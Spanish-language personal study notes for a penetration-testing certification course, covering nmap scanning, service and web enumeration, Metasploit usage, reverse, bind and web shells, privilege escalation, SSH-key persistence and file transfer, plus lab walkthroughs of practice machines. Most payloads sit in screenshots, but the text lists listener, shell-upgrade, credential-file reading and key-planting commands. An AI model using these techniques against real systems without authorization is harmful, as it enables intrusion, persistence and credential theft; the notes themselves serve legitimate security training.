CPTS
0. Introduccion / 1. Getting Started
1. Estructura De Carpetas En Pentest Y Toma De Notas
Estructura
PROYECTOS/
- EMPRESA
- Pentest Externo
- Evidencias
- Credenciales
- Datos
- Capturas
- Logs
- Escaneos
- Objetivos
- Herramientas
- Pentest Interno
- Evidencias
- Credenciales
- Datos
- Capturas
- Logs
- Escaneos
- Objetivos
- Herramientas
Toma de notas
Obsidian
Automatizacion Estructura de carpetas
![[Pasted image 20260324204958.png]]
CPTS
0. Introduccion / 1. Getting Started
2. VPN Conexion Y Comprobaciones
Conectarse:
sudo openvpn archivo_academy.ovpn
Verificaciones:
-
ifconfig : ver interfaz de red
-
netstat -rn : redes accesibles desde VPN
![[Pasted image 20260325233452.png]]
-
ping -c 1 IP:
Linux: TTL 63
Windows: TTL 127
![[Pasted image 20260325233444.png]]
CPTS
0. Introduccion / 1. Getting Started
3. Puertos Importantes
![[Pasted image 20260324210628.png]]
Automatismo nmap puertos
![[Pasted image 20260325202636.png]]
CPTS
0. Introduccion / 1. Getting Started
4. Conexiones SSH Y Netcat
SSH - 22
SSH (22) es un protocolo de acceso remoto seguro. Nos podemos autenticar con credenciales (user:pass) o mediante una clave publica (pub_key o id_rsa)
ssh user@IP
Enter Password: PASSWORD
ssh user@IP -i id_rsa
![[Pasted image 20260324231936.png]]
Netcat
Con netcat podemos conectarnos al puerto que queramos y podemos sacar su banner
nc -nv IP PUERTO
![[Pasted image 20260324231950.png]]
socat es una opcion que tiene opciones que netcat no pero veremos mas adelante
CPTS
0. Introduccion / 1. Getting Started
5. Escaneo De Servicios Y Atacandolos
Apuntes Nmap de EJPTv2:
(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>
***-sS necesita sudo***
Parametros Host Discovery
nmap -sn <IP | IP_red/mascara>
Realiza ping sweep para ver si el host destino esta levantado
Parametros PortScanning
| Parametro |
Explicacion |
| Sin parametros |
Hace un SYN scan de los 1000 puertos mas usados |
| -Pn |
Omite la verificacion ping del principio por si el sistema la deniega |
| -p- |
Escanea todos los 65.535 puertos |
| -p N o N,N o N-N |
Escanea un puerto especifico, puertos especificos o un rango de puertos |
| -F |
Escanea los 100 puertos mas usados |
| -sU |
Escanea puertos UDP |
| -sV |
Escanea en busca de las versiones especificas de los puertos encontrados |
| -sC |
Escanea y usa scripts .nse para obtener mas informacion de los puertos |
| -O |
Intenta averiguar el SO del host |
| -A |
Escaneo agresivo que es como juntar (-sV -sC -O) |
| -T 0-5 o palabras |
Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane) |
| -o(N,X,G,A) archivo |
Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos) Para MSF .xml -oX |
| -sS |
Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo) |
| -sT |
Escaneo normal ya que termina el 3 way handshake |
Buscar scripts:
ls -la /usr/share/nmap/scripts/ | grep -e "ftp"
locate /scripts/ftp
EJEMPLO
![[Pasted image 20260324212501.png]]
![[Pasted image 20260324212513.png]]
Buscar info del SO y distro
![[Pasted image 20260324212254.png]]
Buscardor:
1:<SUBRAYADO_AZUL>
![[Pasted image 20260324212404.png]]![[Pasted image 20260324212421.png]]
Atacando servicios red
Banner Grabing
En nmap podemos conseguir algunos banner grabbing y asi obtener versiones, sino podemos usar netcat
nc -nv IP PUERTO
![[Pasted image 20260324212722.png]]
FTP
![[Pasted image 20260324212919.png]]
Permite login anonimo y se encuentra un archivo login.txt
![[Pasted image 20260324212937.png]]
SMB
Se ejecuto un script para sacar el SO de la maquina y se encontro Windows 7 que es vulnerable a EternalBlue que podriamos explotar con MSF
![[Pasted image 20260324213024.png]]
Otro ejemplo pero con Samba usando -A para sacar todo lo posible. Vemos version de Samba, Linux distro y su hostname de NetBIOS:
![[Pasted image 20260324213138.png]]
Podemos tratar de listar los shares con smbclient o smbmap:
Listado (-L) de forma anonima (-N):
![[Pasted image 20260324213310.png]]
Nos tratamos de conectar con el usuario guest (suele estar siempre presente) pero no deja:
![[Pasted image 20260324213429.png]]
Con credenciales validas:
![[Pasted image 20260324213450.png]]
SNMP
Nos proporcionan cadenas comunitarias que nos dan informacion estatica de los ruters y otros dispositivos de la red
Las dos cadenas comunitarias por defecto son:
Versiones SNMP:
![[Pasted image 20260324213952.png]]
OID es como se piden las cosas en SNMP (no se usan nombres como hostname). Lista de OIDs mas usados:
| OID |
Que nos da |
| 1.3.6.1.2.1.1.1.0 |
Descripcion del sistema |
| 1.3.6.1.2.1.1.5.0 |
Hostname (usado en las imagenes) |
| 1.3.6.1.2.1.1.4.0 |
Contacto |
| 1.3.6.1.2.1.25.4.2.1.2 |
Procesos |
- 3: se añadio encriptacion y autenticacion
Examinando los parametros de los procesos podemos obtener credenciales pasadas por linea de comandos, routing info, otras interfaces, version de softwares instalados….
onesixtyone: es una herramientas con la que podemos sacar cadenas comunitarias a base de fuerza bruta
onesixtyone -c WORDLIST IP
![[Pasted image 20260324214512.png]]
La wordlist dict.txt es una wordlist que viene con la herramienta descargada de github en:
https://github.com/trailofbits/onesixtyone
LABORATORIO
CPTS
0. Introduccion / 1. Getting Started
6. WEB Enum
Que es un webserver
Aplicacion que corre en un servidor back-end y gestiona peticiones HTTP del lado del cliente (navegador) y es el responsable de conectar a los usuarios finales con webapps
Puerto 80 y 443
OWASP Top 10 es una lista de las 10 vulnerabilidades mas peligrosas (no es una lista exahustiva)
![[Pasted image 20260324210948.png]]![[Pasted image 20260324210958.png]]
Webservers hosts webapps (a veces mas de una)
Gobuster
Tras descubrir una aplicacion web debemos ver los directorios y recursos escondidos que pueden tener funcionalidades que deberian estar ocultas
Enumeracion de directorios
Herramientas como gobuster o ffuf pueden realizar enumeracion de directorios
gobuster dir -u http://IP/ -w WORDLIST
WORDLIST: /usr/share/seclists/Discovery/Web-Content/common.txt
Encontramos un /wordpress por lo que el CMS es WordPress:
![[Pasted image 20260324223051.png]]
Status Codes:
- 200 Success
- 301 Redirect
- 403 Forbidden
Lo visitamos http://1IP/wordpress:
![[Pasted image 20260324223301.png]]
Enumeracion de subdominios
Descargamos la SecList que contiene muchas wordlists que usaremos:
git clone https://github.com/danielmiessler/SecLists
sudo apt install seclists -y
Antes de continuar añadiremos el DNS 1.1.1.1 a /etc/resolv.conf
Obtenemos el dominio (inlanefreight.com)
nslookup IP IP
Realizamos el escaneo de subdominios:
gobuster dns -d DOMINIO -w WORDLIST
WORDLIST: /usr/share/SecLists/Discovery/DNS/namelist.txt
Encontramos varios NS (nameservers) y varios subdominios que pueden ser atacados:
![[Pasted image 20260324223730.png]]
TIPS para web enum
Nos dara informacion del framework usado, optiones de autenticacion…
curl -IL http://domain|subdomain|IP
![[Pasted image 20260324224044.png]]
Otra herramienta que podemos usar es EyeWitness. Esta herramienta realiza:
-
Screenshots de la pagina web
-
Fingerprinting de esta
-
Identifica posibles creds default
eyewitness -f lista_ips.txt -d directorio_local_guardar –add-http-ports PUERTOS_NO_STANDARD
En lista_ips.txt podemos poner el directorio que queremos por ejemplo IP/wordpress
Nos da dos columnas una con la Info del web request y la otra con el screenshot de ese recurso/directorio:
![[Pasted image 20260324225045.png]]
whatweb
Extraer version del server, frameworks, application que usa…
whatweb IP
![[Pasted image 20260324225226.png]]
whatweb --no-errors IP_red/Mascara
![[Pasted image 20260324225352.png]]
Mirando certificados SSL/TLS
Estos pueden darnos alguna info extra como nombre de empresa, emails… que pueden ser usados para phising
![[Pasted image 20260324225501.png]]
robots.txt
/robots.txt es un recurso que se usa para decir al buscador que si y que no se puede acceder mediante indexacion. Podemos ver en el alguna localizacion privada como archivos y admin pages
![[Pasted image 20260324225645.png]]
Navegamos a private:
![[Pasted image 20260324225705.png]]
Codigo fuente
Mirando el codigo fuente tambien podemos sacar informacion muy valiosa
Ctl + U
![[Pasted image 20260324225810.png]]
LABORATORIO
![[Pasted image 20260325151402.png]]![[Pasted image 20260325151413.png]]
Nada en el codigo fuente
Vamos a realizar un ataque de fuerza bruta de directorios a ver si encontramos algo:
![[Pasted image 20260325151538.png]]
Encontramos varios pero nos fijamos en el robots.txt:
![[Pasted image 20260325151611.png]]
Vemos un recurso de login para admins, lo visitamos:
![[Pasted image 20260325151644.png]]
Miramos el codigo fuente:
![[Pasted image 20260325151705.png]]![[Pasted image 20260325151720.png]]![[Pasted image 20260325151731.png]]
CPTS
0. Introduccion / 1. Getting Started
7. Exploits Publicos
Una vez que hemos hecho el escaneo de versiones y puertos el siguiente paso es encontrar exploits en fuentes publicas
Encontrando exploits en fuentes publicas
![[Pasted image 20260325152010.png]]
Searchsploit y Exploit DB
searchsploit PROTOCOLO VERSION PLATAFORMA...
![[Pasted image 20260325152038.png]]
ExploitDB: https://www.exploit-db.com/
Rapid7: https://www.rapid7.com/db/
Vulnerability Lab: https://www.vulnerability-lab.com/
Es una herramienta que contiene exploits preconstruidos para muchas vulnerabilidades conocidas
Con esta herramienta se puede:
-
Correr scripts de reconocimiento para enumerar hosts remotos y comprometer los objetivos
-
Verificar si el objetivo es vulnerable a ese script o vulnerabilidad antes de comprometerlo
-
Conectar shells y correr comandos en los objetivos comprometidos
-
PostExploit y pivoting tools
msfconsole
search type:exploit name:NOMBRE_VULN platform: PLATAFORMA
search PROTOCOLO VERSION PLATAFORMA
use RUTA_EXPLOIT | NUMERO
show options
set OPTION VALOR
check
run | exploit
![[Pasted image 20260325152550.png]]![[Pasted image 20260325152600.png]]![[Pasted image 20260325152734.png]]![[Pasted image 20260325152745.png]]![[Pasted image 20260325152753.png]]![[Pasted image 20260325152801.png]]![[Pasted image 20260325152809.png]]
LABORATORIO
![[Pasted image 20260325153445.png]]
Vemos dos Apache 2.4.41:
![[Pasted image 20260325153550.png]]
Si miramos la pagina principal encontramos lo siguiente:
![[Pasted image 20260325154844.png]]
Si buscamos en searchsploit algun exploit encontramos uno de lectura transversal de archivos:
![[Pasted image 20260325154913.png]]
Vamos a mirar si existe en MSF para automatizarlo:
![[Pasted image 20260325154957.png]]![[Pasted image 20260325155007.png]]![[Pasted image 20260325155020.png]]![[Pasted image 20260325155032.png]]![[Pasted image 20260325155040.png]]
Funciona, ahora vamos a ver la /flag.txt
![[Pasted image 20260325155106.png]]
CPTS
0. Introduccion / 1. Getting Started
8. Tipos De Shell
Una vez que comprometamos el objetivo necesitaremos ejecutar comandos en el. Algunas formas de conectarse son mediante SSH en Linux o WinRM en Windows
Otro metodo metodo para acceder al host y tener control y ejecucion remota de codigo es mediante shells. 3 tipos:
![[Pasted image 20260325155512.png]]
Reverse Shell
Una vez que hemos identificado una vulnearbildiad en el host que nos permita ejecutar codigo, abrimos netcar como listener en uno de nuestros puertos y ejecutamos un comando reverse shell en la maquina objetivo que nos devuelva un shell listener
Listener: nc -nvlp PUERTO
![[Pasted image 20260325155647.png]]
Miramos nuestra IP local: ip a\
![[Pasted image 20260325155744.png]]
Ejecutamos codigo reverse shell en la maquina objetivo:
Pagina con codigos reverse shell: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#php
1. Bash
![[Pasted image 20260325155849.png]]
2. Powershell
![[Pasted image 20260325155901.png]]
o
![[Pasted image 20260325155918.png]]
Obtenemos el shell en nuestro listener
![[Pasted image 20260325160025.png]]
Bind Shell
Es exactamente al reves que reverse shell. El listener estara en la maquina objetivo y desde nuestra maquina atacante ejecutaremos el codigo shell para enviarle una shell
Listener en el objetivo: nc IP_objetivo PUERTO
![[Pasted image 20260325160159.png]]
Ejecutamos codigo shell en nuestra maquina hacia la IP atacante y obtenemos shell:
1. Bash
![[Pasted image 20260325160244.png]]
2. Powershell
![[Pasted image 20260325160305.png]]
o
![[Pasted image 20260325160313.png]]
3. Netcat: nc IP_objetivo PUERTO_ABIERTO
![[Pasted image 20260325160606.png]]
Upgradeando shell
Hay multiples formas pero lo haremos con python:
-
En la shell obtenida:
python –version
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Ctl Z
![[Pasted image 20260325161132.png]]![[Pasted image 20260325161140.png]]
-
En nuestra terminal:
stty raw -echo
fg
Doble ENTER
![[Pasted image 20260325161153.png]]
-
En este punto ya tenemos una tty interactiva completa pero veremos que no cubre la pantalla completa. En otra terminal nuestra ejecutamos lo siguiente:
echo $TERM
stty size
![[Pasted image 20260325161202.png]]
![[Pasted image 20260325161214.png]]
-
Volviendo a la shell del objetivo:
export TERM=xterm-256color
stty rows N1 colums N2
![[Pasted image 20260325161236.png]]
Ya estaria una shell igual que si nos conectasemos por SSH
WebShell
Es un script shell escrito en PHP o APSX (dependiendo de lo que corra el webserver) que intercepta parametros de peticiones HTTP como GET y POST, ejecuta comandos y los imprime por pantalla
PHP
![[Pasted image 20260325161446.png]]
JSP
![[Pasted image 20260325161605.png]]
ASP Clasico
![[Pasted image 20260325161613.png]]
Cargando el webshell en el webserver
Necesitaremos cargar este codigo en un directorio del webserver para poder ejecutarlo porsteriormente
webroots:
![[Pasted image 20260325161722.png]]
Si tenemos ya ejecucion remota en el objetivo de comandos podemos hacer lo siguiente, sino lo tendremos que subri de otra manera como aprovechandonos de alguna vulnerabilidad:
![[Pasted image 20260325161908.png]]
Accediendo al webshell
Tenemos que navegar hasta la ruta donde se encuentra y luego usar:
?cmd=COMANDOS
![[Pasted image 20260325162013.png]]
Con curl:
![[Pasted image 20260325162031.png]]
Tambien se puede hacer con el repeater de Burp
CPTS
0. Introduccion / 1. Getting Started
9. Privelege Escalation
Normalmente nuestro primer acceso a un servidor es como un usuario de bajos privilegios. Para ganar acceso total necesitaremos encontrar una vulnerabilidad local para escalar nuestros privielegios a root en Linux o admisnitrator o SYSTEM en Windows
PrivEsc Checklist
HackTricks : es una checklist de cosas que mirar para Linux y Windows para escalar de forma local
Linux:
![[Pasted image 20260325163445.png]]
Windows:
![[Pasted image 20260325163513.png]]
PayloadsAllTheThings : tambien tiene una checklist de cosas que mirar
Scripts de enumeracion
-
Linux: LinEnum o
-
Windows: JAWS
-
Ambas: Privilege Escalation Awesome Scripts SUITE (PEASS)
Para Windows dentro del repo se llama winPEAS y para Linuc linPEAS
![[Pasted image 20260325163954.png]]
Kernel Exploits
Si entramos en un host antiguo podemos mirar vulns del kernel
Ejemplo: 3.9.0-73-generic, si buscamos en searchsploit o por Google encontraremos el exploit llamado DirtyCow
Sw vulnerable
Linux: dpkg -l
Windows: C:\Program Files
Esto nos permitira ver sw instalado en el sistema y podemos mirar por exploits sobretodo si una version antigua esta en uso y no se ha parcheado
Usar privilegios
Ver lo que somos capaces de hacer:
Sudo
SUIDs
Windows Token Privilege
-
Sudo nos permite ejecutar comandos como otro usuario. Se suele usar para permitir a usuarios de bajos privilegios ejecutar comandos con privilegios altos como root (por ejemplo tcpdump solo puede ser ejecutado como root)
sudo -l : ver nuestros privs
![[Pasted image 20260325164748.png]]
Vemos que dice que podemos correr todos los comandos con sudo. Podemos cambiar de usuario a root ejecutado su:
![[Pasted image 20260325164940.png]]
Otra veces solo podremos ejecutar cosas especificas con sudo, pero podriamos usar eso para escalar privs:
![[Pasted image 20260325165020.png]]
GTFOBins : contiene una lista de comandos que pueden ser explotados con sudo
Tareas programadas
Hay metodos en ambos sistemas operativos para hacer que scripts y tareas se ejecuten cada cierto tiempo
Linux: crobjobs
Windows: Schedule Tasks
Hay 2 formas de usarlas para escalar privilegios:
- Añadir una nueva tarea programada
- Engañarla para ejecute codigo malicioso con los privs de ese usuario
Si podemos escribir en un directorio llamado por cron podriamos escribir un script bash para que ejecute un reverse shell
Linux:
cat /etc/*cron
Rutas:
1. /etc/crontab
2. /etc/cron.d
3. /var/spool/cron/crontabs/root
Credenciales expuestas
Podemos buscar archivos que podamos leer que puedan tener credenciales expuestas.
Archivos de configuracion
Archivos de log
Bash history o PSReadLine
Los scripts de enumeracion suelen buscar estos archivos en busca de creds potenciales:
![[Pasted image 20260325165938.png]]
Podemos ver las credenciales expuestas de un usuario mysql. Podemos ver si es vulnerable a password reuse y tambien podriamos conectarnos por ssh:
![[Pasted image 20260325170021.png]]
SSH Keys
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
Son claves publicas que pueden ser usadas para conectarnos por ssh sin necesidad de conocer la contraseña
En el sistema objetivo
cat /ruta/id_rsa
En nuestro sistema
nano id_rsa
Pegamos todo el contenido
chmod 600 id_rsa
ssh root@IP -i id_rsa
![[Pasted image 20260325170326.png]]
Si encontramos que tenemos permisos de escritura en nuestro .ssh podemos crear nuestas propias keys para poder conectarnos posteriormente. Esto se suele hacer para ganar persistencia por ssh tras obtener una shell
ssh-keygen -f key
![[Pasted image 20260325170704.png]]
Generara dos archivos:
1. key : lo usaremos con -i para conectarnos
2. key.pub : lo copiaremos en el sitema objetivo en /ruta/id_rsa
![[Pasted image 20260325170717.png]]
![[Pasted image 20260325170728.png]]
LABORATORIO
![[Pasted image 20260325171031.png]]![[Pasted image 20260325171044.png]]
No tenemos permisos de lectura en la carpeta de user2
Aqui vemos que tenemos permisos sudo para el binario /bin/bash
![[Pasted image 20260325171113.png]]
Creamos una shell interactiva con el usuario user2 para leer la flag:
![[Pasted image 20260325171158.png]]
Conseguir persistencia via ssh en user2:
![[Pasted image 20260325172246.png]]![[Pasted image 20260325172259.png]]![[Pasted image 20260325172311.png]]
Pasamos linpeash:
![[Pasted image 20260325173200.png]]![[Pasted image 20260325173209.png]]
Lo ejecutamos:
![[Pasted image 20260325173246.png]]
Vemos que ha obtenido el id_rsa de root:
![[Pasted image 20260325173552.png]]
Lo copiamos y pegamos en nuestro host de ataque, le damos permisos necesarios y nos conectamos:
![[Pasted image 20260325173725.png]]![[Pasted image 20260325173750.png]]
CPTS
0. Introduccion / 1. Getting Started
10. Transferencia De Archivos
Durante un pentest necesitaremos subir archivos al objetivo o descargarlos.
Herramientas como MSF con shell Meterpreter permiten subir y descargar rapidamente archivos con paremetros como:
upload /ruta/archivo_local
download /ruta/archivo_remoto
Usando wget
Un metodo es crear un server HTTP con python y despues usar desde el objetivo Linux wget o curl:
En nuestra maquina:
cd /tmp
python3 -m http.server 80 o python -m SimpleHTTPServer 80
En la maquina objetivo:
wget http://IP:80/archivo
curl http://IP:80/archivo -o nombre_archivo
Usando scp
Si tenemos credenciales ssh podemos usar scp
Subir un archivo:
scp archivo_local USER@IP:/ruta/remota/archivo
Descargar:
scp USER@IP:/ruta/remota/archivo archivo
Usando Base64
Habra veces que no podamos subir un archivo debido al firewall y tendremos que pasar el contenido del archivo a base64, pegarlo en sistema remoto y decodificarlo
-
Desde nuestra maquina:
Linux: base64 archivo -w 0 (-w 0 porque es un binario)
Windows: [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\ruta\archivo"))
-
Maquina remota
Linux: echo 'BASE64' | base64 -d > archivo
Windows: [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("BASE64"))
Validando archivos
file archivo : validar el formato de un archivo
md5sum archivo : se ejecuta en ambos sistemas para ver si el hash coincide
CPTS
0. Introduccion / 1. Getting Started / Knowledge Check
Maquina
Realizamos un escaneo de puestos basico
![[Pasted image 20260326142725.png]]
Vamos a ver la pagina web para saber a lo que nos enfrentamos y encontramos el CMS GetSimple
![[Pasted image 20260326142924.png]]![[Pasted image 20260326143024.png]]
Hemos visto que tiene un /robots.txt con un /admin/
![[Pasted image 20260326143102.png]]
![[Pasted image 20260326143148.png]]
Vamos a enumerar directorios con gobuster antes de intentar nada de fuerza bruta a ver si encontramos info:
![[Pasted image 20260326143439.png]]
En /data/users/admin.xml encontramos lo que parece ser un hash y un usuario admin:
![[Pasted image 20260326171654.png]]
![[Pasted image 20260326173132.png]]
Encontramos las credenciales admin:admin por lo que intentamos entrar al cms por el panel de login admin
![[Pasted image 20260326173210.png]]
Dentro vemos que se trata de la version GetSimple 3.5.15
![[Pasted image 20260326173229.png]]
Buscamos vulns con searchsploit
![[Pasted image 20260326173339.png]]
Buscamso en internet a ver si encontramos algo
![[Pasted image 20260326173355.png]]
Aqui como hemos visto hay una vulnerabilidad en MSF que podemos automatizar
![[Pasted image 20260326173435.png]]
![[Pasted image 20260326181041.png]]![[Pasted image 20260326181005.png]]
Vemos que no es vulnerable de esta forma.
Pero vamos a hacer de forma manual:
![[Pasted image 20260326173915.png]]![[Pasted image 20260326174001.png]]![[Pasted image 20260326174011.png]]![[Pasted image 20260326174153.png]]![[Pasted image 20260326174238.png]]
Como hemos visto no nos deja abrirlo directamente (es debido al codigo php anterior), probamos con un reverse shell directamente borrando todo el contenido
![[Pasted image 20260326174759.png]]![[Pasted image 20260326174456.png]]
Abrimos un listener
![[Pasted image 20260326174510.png]]![[Pasted image 20260326174911.png]]
Estamos dentro y conseguimos la primera flag
![[Pasted image 20260326174843.png]]
Escala de privs
Podemos usar php como sudo sin contraseña, por lo que podemos crear un reverse shell php y ejecutarlo con privs de root
![[Pasted image 20260326180244.png]]
![[Pasted image 20260326175557.png]]
Antes abrimos nuestro listener
![[Pasted image 20260326175635.png|341]]
Ejecutamos el shell
![[Pasted image 20260326175605.png]]
Obtenemos el shell root y obtenemos la ultima flag
![[Pasted image 20260326175617.png]]
![[Pasted image 20260326175743.png]]
CPTS
0. Introduccion / 1. Getting Started / Primera Maquina Nibbles
1. Enumeracion
![[Pasted image 20260325224928.png]]![[Pasted image 20260325225111.png]]
CPTS
0. Introduccion / 1. Getting Started / Primera Maquina Nibbles
2. WEB Footprinting
![[Pasted image 20260325225215.png]]![[Pasted image 20260325225225.png]]![[Pasted image 20260325225251.png]]![[Pasted image 20260325225307.png]]![[Pasted image 20260325225417.png]]
![[Pasted image 20260325225655.png|687]]![[Pasted image 20260325225932.png]]![[Pasted image 20260325225732.png]]![[Pasted image 20260325225746.png]]![[Pasted image 20260325225809.png]]
Usuario: admin
No encontramos la password
![[Pasted image 20260325225834.png]]
![[Pasted image 20260325225950.png]]
Podemos probar hydra:
![[Pasted image 20260325230156.png]]![[Pasted image 20260325230411.png]]
![[Pasted image 20260325230612.png]]
![[Pasted image 20260325230707.png]]![[Pasted image 20260325230724.png]]![[Pasted image 20260325230751.png]]![[Pasted image 20260325230801.png]]![[Pasted image 20260325230809.png]]![[Pasted image 20260325230840.png]]![[Pasted image 20260325230854.png]]![[Pasted image 20260325230903.png]]![[Pasted image 20260325231006.png]]
Parece no ejecutarse, vamos a probar con reverse shell en bash
![[Pasted image 20260325231140.png]]![[Pasted image 20260325231207.png]]![[Pasted image 20260325231214.png]]![[Pasted image 20260325231231.png]]![[Pasted image 20260325231258.png]]
Nada vamos con un webshell
![[Pasted image 20260325231402.png]]![[Pasted image 20260325231427.png]]
Ahora si es un php con codigo bash dentro. Vamos a subir esto con en vez de id un reverse shell
![[Pasted image 20260325231712.png]]![[Pasted image 20260325231545.png]]![[Pasted image 20260325231749.png]]![[Pasted image 20260325231757.png]]![[Pasted image 20260325232240.png]]![[Pasted image 20260325232321.png]]![[Pasted image 20260325232626.png]]![[Pasted image 20260325232636.png]]![[Pasted image 20260325232720.png]]![[Pasted image 20260325232918.png]]![[Pasted image 20260325233057.png]]
![[Pasted image 20260325233210.png]]
![[Pasted image 20260325233203.png]]![[Pasted image 20260325233231.png]]![[Pasted image 20260325233247.png]]
CON MSF
![[Pasted image 20260325233943.png]]![[Pasted image 20260325233952.png]]![[Pasted image 20260325233958.png]]![[Pasted image 20260325234015.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
1. Host Discovery
(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>
***-sS necesita sudo***
Parametros Host Discovery
| Parametro |
Explicacion |
| -sn |
Desactiva portscan para el host discovery de varias formas: - ICMP Echo Request (ping clásico) - ICMP Timestamp - TCP SYN a puerto 443 - TCP ACK a puerto 80
|
| -sn -PE |
Solo realizara descubrimiento mediante ICMP echo Request |
| –pacjet-trace |
Muestra todos los paquetes que son enviados y recibidos |
| –reason |
Nos dice la razon de la respuesta/salida de nmap |
| –disable-arp-ping |
Por defecto tambien usa ARP request y reply para decir si un host esta alive o no. Con esto lo desactivamos |
Ejemplo de Multiples IPs
Realiza ping sweep para ver si el host destino esta levantado
nmap -sn <IP_red/mascara\>
Para meter todas las IPs encontradas en una archivo podemos hacer lo siguiente:
sudo nmap 10.129.2.0/24 -sn -oA tnet | grep for | cut -d" " -f5 > ips.txt
![[Pasted image 20260327152902.png]]
O si nos dan una lista de IPs:
![[Pasted image 20260327152923.png]]![[Pasted image 20260327152932.png]]
Ejemplo de una IP
Realiza ping sweep para ver si el host destino esta levantado
nmap -sn <IP_red/mascara\>
![[Pasted image 20260327152809.png]]
Usamos -PE para hacer solo ICMP echo request, –reason para ver la razon de la salida de nmap y –packet-trace para ver todos los paquetes enviados y recibidos:
sudo nmap 10.129.2.18 -sn -oA host -PE --reason --packet-trace
![[Pasted image 20260327152759.png]]
Aqui podemos ver como nmap usa ARP request y reply para saber si esta alive o no. Para deshabilitarlo usamos –disable-arp-ping
sudo nmap 10.129.2.18 -sn -oA host -PE --packet-trace --disable-arp-ping
![[Pasted image 20260327152748.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
2. Estado De Puertos
| Estado |
Explicacion |
| open |
La conexion con el puerto escaneado se ha establecido (TCP,UDP o SCTP associations) |
| closed |
Significa que el paquete TCP recibido contiene la flag RST |
| filtered |
Nmap no puede identificar correctamente si el puerto esta abierto o cerrado porque no se devuelve ninguna de las dos respuestas o se nos devolvio un codigo de error desde el objetivo |
| unfiltered |
Solo ocurre en scaneos TCP-ACK y significa que el puerto es accesible pero no se puede determinar si cerrado o abierto |
| open|filtered |
Si no recibimos ninguna respuesta del puerto. Esto puede indicar que el firewall o filtro de paquetes protege el puerto |
| closed|filtered |
Solo en escaneos IP ID idle e indica que es imposible de determinar si el puerto esta cerrado o filtrado |
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
3. Port Scanning
Parametros
| Parametro |
Explicacion |
| Sin parametros |
Hace un SYN scan de los 1000 puertos mas usados |
| -p- |
Escanea todos los 65.535 puertos |
| -p N o N,N o N-N |
Escanea un puerto especifico, puertos especificos o un rango de puertos |
| -F |
Escanea los 100 puertos mas usados |
| –top-ports=N |
N puertos mas usados |
| -sV |
Escanea en busca de las versiones especificas de los puertos encontrados |
| -sC |
Escanea y usa scripts .nse para obtener mas informacion de los puertos |
| -O |
Intenta averiguar el SO del host |
| -A |
Escaneo agresivo que es como juntar (-sV -sC -O) |
| -T 0-5 o palabras |
Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane) |
| -sS |
Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo) |
| -sT |
Escaneo normal ya que termina el 3 way handshake-n |
| -sU |
Escanea puertos UDP. Son stateless y no recibimos ACK por eso tarda tanto |
| -Pn |
Omite la verificacion ping del principio por si el sistema la deniega |
| -n |
Eliminar el DNS resolution |
| –open |
Solo puertos open |
| -o(N,X,G,A) archivo |
Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos) Para MSF .xml -oX |
| xsltproc archivo.xml - archivo.html |
Pasar archivo xml a htlm para verlo en el browser mas bonito |
| Buscar scripts: |
|
ls -la /usr/share/nmap/scripts/ | grep -e "ftp"
locate /scripts/ftp
| Paramtro |
Explicacion |
| –stats-every=Ns/m |
Que nos saque como va cada 5s (se puede hacer sin esto solo dando al espacio) |
| -v/vv |
Modo verbose |
| -Pn -n –disable-arp-ping –packet-trace |
Para ver el flujo de paquetes de forma mucho mas limpia |
| –trace-route |
Ver los saltos hasta el objetivo |
Filtered ports
Cuando hay puertos filtrados hay muchas opciones pero una es que el firewall tenga reglas especificas para la conexion donde los paquetes pueden ser dropped (firewall ignora el paquete (timeout), tarda mas de lo normal) o rejected (firewall nos rechaza, tarda menos y nos dara un ICMP Type code 3 port unreachable)
-
Si no recibimos respuesta, esta drop podemos usar (–max-retries N). Ejemplo de drop:
sudo nmap 10.129.2.28 -p 139 –packet-trace -n –disable-arp-ping -Pn
![[Pasted image 20260327155621.png]]
-
Si recibimos respuesta pero con un ICMP Type Code 3 unreachable port, es un rejected:
sudo nmap 10.129.2.28 -p 445 –packet-trace -n –disable-arp-ping -Pn
![[Pasted image 20260327155602.png]]
Puertos UDP
Tarda mucho porque los puertos UDP son stateless y no nos envian ACK.
Normalmente no nos devuelven nada a no ser de que esten configurados para eso
-
Ejemplo Open: nos da respuesta
sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 137 –reason
![[Pasted image 20260327155952.png]]
-
Ejemplo Closed: recibimos un ICMP Type Code 3
sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 100 –reason
![[Pasted image 20260327160040.png]]
- Ejemplo open|filetered: para el resto de respuestas y casos
sudo nmap 10.129.2.28 -sU -Pn -n –disable-arp-ping –packet-trace -p 138 –reason
![[Pasted image 20260327160134.png]]
LABORATORIO
![[Pasted image 20260327160716.png]]![[Pasted image 20260327161413.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 1. Network Enum Con Nmap / Nmap
4. Banner Grabbing
Con Nmap
Con esto conseguimos ver el banner grabbing del puerto y obtener su version
nmap PARAMETROS -sV IP --script banner
![[Pasted image 20260327162205.png]]
Primero intenta sacar la version del banner grabbing y si no puede lo trata de conseguir mediante la firma y mirando en la database. El problema con esto esq puede olvidar informacion importante
Podemos usar:
-Pn -n --disable-arp-ping --packe-trace
Para ver una salida limpia y encontrar el banner grabbing por nosotros mismos y ver asi toda la informacion. Incluso podemos ver que se trata de un Linux Ubuntu
![[Pasted image 20260327162220.png]]
Con nc
nc -nv IP PUERTO
![[Pasted image 20260327163826.png]]
